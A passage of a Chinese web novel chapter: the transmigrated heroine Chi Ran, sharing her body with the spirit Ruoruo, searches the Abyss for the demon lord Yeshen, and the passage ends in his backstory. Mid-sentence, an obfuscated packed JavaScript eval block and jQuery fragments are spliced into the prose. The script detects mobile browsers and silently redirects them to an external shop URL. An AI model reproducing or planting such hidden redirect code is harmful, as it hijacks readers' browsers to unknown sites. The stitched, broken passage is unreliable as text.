面前的一切都是未知。
“若……若?”她迟疑着叫出这个名字,莫名觉得羞耻感。
“来了来了。”它用自己的声音说,“你真勇猛,未骁都敢捅。”
池染已经稍稍能适应跟别人共用一副身体,并且与它对话时切换自如。
“你真狗。”她骂道,“有危险就跑,没人打你吗?”
“哎呦,我这是下意识行为,保命要紧嘛。”它完全不觉得此举有何不妥,“接下来怎么办?”
池染蹙着眉,“黑夜是你的天下,出去探探路吧。”
“行。”它答应的爽快,又问:“你不怕我直接跑了?”
池染笑了下,说了句:“随便你。”继而低头在附近草丛里寻找什么东西。
完全不担心它能跑掉。
“行吧。”若若不再自讨没趣,默默从池染身体中分离,游走于黑暗中。
支走若若后,池染又试探着叫一声,“系统?”
【宿主,我在。】它语气欢快地上线。
池染忍住骂它的冲动,憋了半天,开口问:“能赐我一个手电筒吗?”
系统:【……】
空气凝滞一息。
【火折子吧,起码符合这个世界的产物。】
系统说完,感觉袖中一沉,她掏出一个火折子,吹着。
边继续低头寻找,边问:“现在剧情发展到哪儿了?怎么跟原来不一样。”
小说的剧情基本围绕着男女主展开,多数以女主视角为主。
所以池染有些懵,她的这些遭遇并不在小说剧情中。
但是主要剧情应该不会偏离太多。
夜神与苏幼灵识海相连,原剧情写的不是在寒潭。
进入记忆后,苏幼灵脑海里产生了一些陌生的记忆。
她的出现不确定苏幼灵有没有恢复。
【说实话吧……嗯……呃……】它吭哧半天,【剧情在加速跳转中。】
池染一愣,随即调出系统面板,最下方剧情进度条显示:
【当前剧情进度:36%】
“这简直是飞速进行。”她压根没想到剧情跳转得如此之快,一时有点反应不过来,“还有补救的办法么……”
回答她的是系统冰冷的机械音。
【叮——系统检测到当前任务目标生命值较低,请宿主尽快找到任务目标,并对他进行帮助。奖励:*****】
池染一脑门的问号。
什么情况?
大佬在极渊???
战力爆表的魔头,竟然有危险。
四颗星号又什么鬼东西。
她记得之前奖励也出现过,只是她没完成任务,所以没太在意。
“咕噜”一声,池染脚下踢到了什么东西。
她举着火折子弯腰凑近看,是辟枭。
池染捡起来,扫了扫土和草屑,别在腰间。
找到防身武器,她稍微安心些。
叹了口气,接着低头寻找。
看不清太远的路,她不敢到处乱走。
寻了许久,终于见到一株能用的草药。
她用石头捣碎,直接敷在伤口上。
血已经止住,但她整体感觉不是太好。
不及时处理,可能会发炎。
她没敢支起篝火,万一有妖魔鬼怪在附近,岂不成了别人的腹中餐。
能做的都做了,她走到一颗树旁边坐下,背靠着树,闭眼小憩。
耳边寂静无声。
她不知不觉陷入沉睡之中。
实在太累了。
“喂,醒醒。”
池染倏然睁眼,她被声音惊醒。
下意识望向四周,天亮了。
她有点茫然,浅浅回顾了一下,想起自己受伤,未骁逼她跳入极渊。
一切都不是梦。
她仍然保持着昨夜的坐姿,背靠树干。
来回动了下脖子,痛得要命。
一个姿势太久,脖子都僵硬了。
“你什么时候回来的?”她问若若,顺手掀开敷在伤口上的草药。
没什么变化,感叹自己如果有灵力的话,配以灵草,这点伤恐怕现在都能愈合了。
若若哼哼两声,“你刚睡着,我就回来了。”它不禁抖了下身体,“我刚出去不久,便不敢再探。这地方有点邪门,你没发现这里安静地让人发慌吗?”
昨晚她虽然睡着,但没敢睡太深,四周的确过于安静。
眼下得尽快找到夜神,她现在基本属于半残,还得去救一个战力爆表的大佬。
简直离谱。
极渊是什么,池染没有任何了解,她经常听到的只有魔渊。
打起精神,她开始探索这片未知之地。
同时打算找点野果子之类的果腹,肚子饿得咕咕直叫。
走出没多远,周围都是高耸林立的树木,头顶树枝长得盘根错节,导致遮住大半光亮。
别说一只鸟都没见到,连知了、蝉、蚂蚱的虫子都没有。
透着浓浓地一股诡异。
“你有没有听过极渊?”池染问。
可能因为周遭没外人,它不再夹着嗓子说话,听起来顺耳多了。
“没有,我之前都在人界,从没来过魔界。魔尊夜神恶名远扬,谁活腻歪了敢没事来魔界。”
池染嘲讽道:“那你活腻歪敢提一睹魔尊天颜?”提起这个,她气不打一处来,“要不是你非要见他,怎会害得我落入此番境地!”
它自知理亏,没回嘴,“我这不是成为影幽才敢有的底气。”
“你……”池染犹豫一下,低声问道:“是怎么变成影幽的?”
它停顿片刻,才回答:“被人骗的。他骗我要为我赎身,要带我离开那里,对此我深信不疑。”
“他确实做到了,但他把我从一个深渊带往另一个深渊。”它的声音微微颤抖,似乎那些回忆令它痛苦不堪,“你能想象吗?他把我迷晕,塞入滚烫的炼炉里,无论怎样哀求哭嚎,他像个旁观者一样冷漠。活生生烧死后,凭借对他极度的恨意,我的意志从身体中剥离,从而炼化出影魂,成为影幽。”
“他就是个骗子!我要报仇,我要杀死他!他就是个疯子。”它情绪激动地大喊着,然后崩溃地啜泣,“可我杀不了他,他、他们无处不在,控制着我。”
“停、停,别说了。”池染出声打断,就算无法感同身受,也能想象到它当时的痛苦绝望。
“说说他是谁吧?有机会帮你报仇。”
它不断平复着情绪,感觉有所缓解后,接着说:“我不知道,他没提过。但能看出他并非普通人,或许是个大人物。人界所谓的‘权贵’吧。”
“这种惨无人道的邪术,人界竟也有。”
甚至比她和夜神在魔村遇到的残忍数倍。
“当初原本打算钻进那个神棍身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245522|197878||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
体里的,不过你突然出现,相较下你比他更适合。”
池染“呵”了一声,“我谢谢你啊。”
方才听它说出“他们无处不在”时,池染忽然想到了什么。
池染:“他可是登仙阁的人?”
“不清楚。”它想了想,“不过他倒是经常戴着血红色面具。”
仿佛有一根隐形的线,将一切全部串联起来。
这个规模庞大的组织,不知究竟有什么目的,总觉得要干什么惊天动地的大事。
不过再惊天动地,也比不上大佬毁天灭地够刺激的。
她略感烦躁地揉了揉脸,怎么走了许久,两边的场景基本没什么变化。
这到底是什么鬼地方?!
“你找什么呢?”它看池染一路上东张西望的。
她有点累了,停下脚步,一手撑着腰说:“你梦寐以求,求而不得,恶名远扬的——魔尊大人。”
它一个震惊,差点闪了池染的老腰。
“我都感动了,你身处这般境地,居然还惦记着帮我实现愿望。”
是她想的么!
还不是因为系统。
她顺势说道:“既然如此,你出来找会儿,我歇歇。”
它没推脱,直接把池染挤回去,“行,正好看看能不能治好你的伤。”
池染忽然感觉它也没那么烦人了。
在困境中的两个人,恐怕连仇敌都能硬生生看顺眼几分吧。
极渊腹地深处,密不透光的枝杈肆意疯长。
一颗生长千年的参天大树下,藏有一处隐秘树洞。
洞中传来微弱隐忍的呻|吟声。
“小夜,静心、凝神,安魂。”
说话的声音沉重沙哑苍老,仿若来自远古撞响的晨钟。
极渊静谧到仿佛连树枝生长的声音都能听得到。
洞中人蜷缩成一团,怨气环绕在他周身,听到提醒,他慢慢睁眼。
紫眸中掺杂着丝丝缕缕的黑气。
纷乱混杂的记忆不断涌入脑海中,形形色色的妖魔鬼魅对他说着蛊惑人心又无比可笑的话。
那些不属于他的记忆,占据着他的大脑。
无数黑影在他眼前飞来闪去,他感觉脑袋胀得快要炸开一样。
邪恶恐怖的想法频繁在他内心划过。
三百年来,每一次禁制发作,对于他来说都是痛苦,是煎熬。
他吸收天地间的怨气,却要体会到那些因怨恨而死的人生前全部的苦难以及生离死别。
感受那些不属于他的悲痛和恨。
他吸收的越多,力量越强大。
同时,反噬的更强烈。
但,他没得选。
当他选择相信并信任师父的那一刻起,悲剧便已注定。
“你受伤了,我没有恶意。”陌生清冷的声音对他说:“痊愈后,你可自行下山。”
雪白的衣角掠过他眼尾余光,随之消失在视野中。
第二日,门外传来簌簌舞剑的声音。
他好奇地打开门,纯白身影轻柔曼曼却又不失剑气纵横的气势。
两种强烈反差,形容在她身上却毫无违和之感,仿佛与生俱来便该是如此。
收剑时又沉稳有力。
她抬眸看向他,“我做了饭,要吃吗?”
他回过神来,不知该如何回答,只好点了下头。
饭……是什么东西?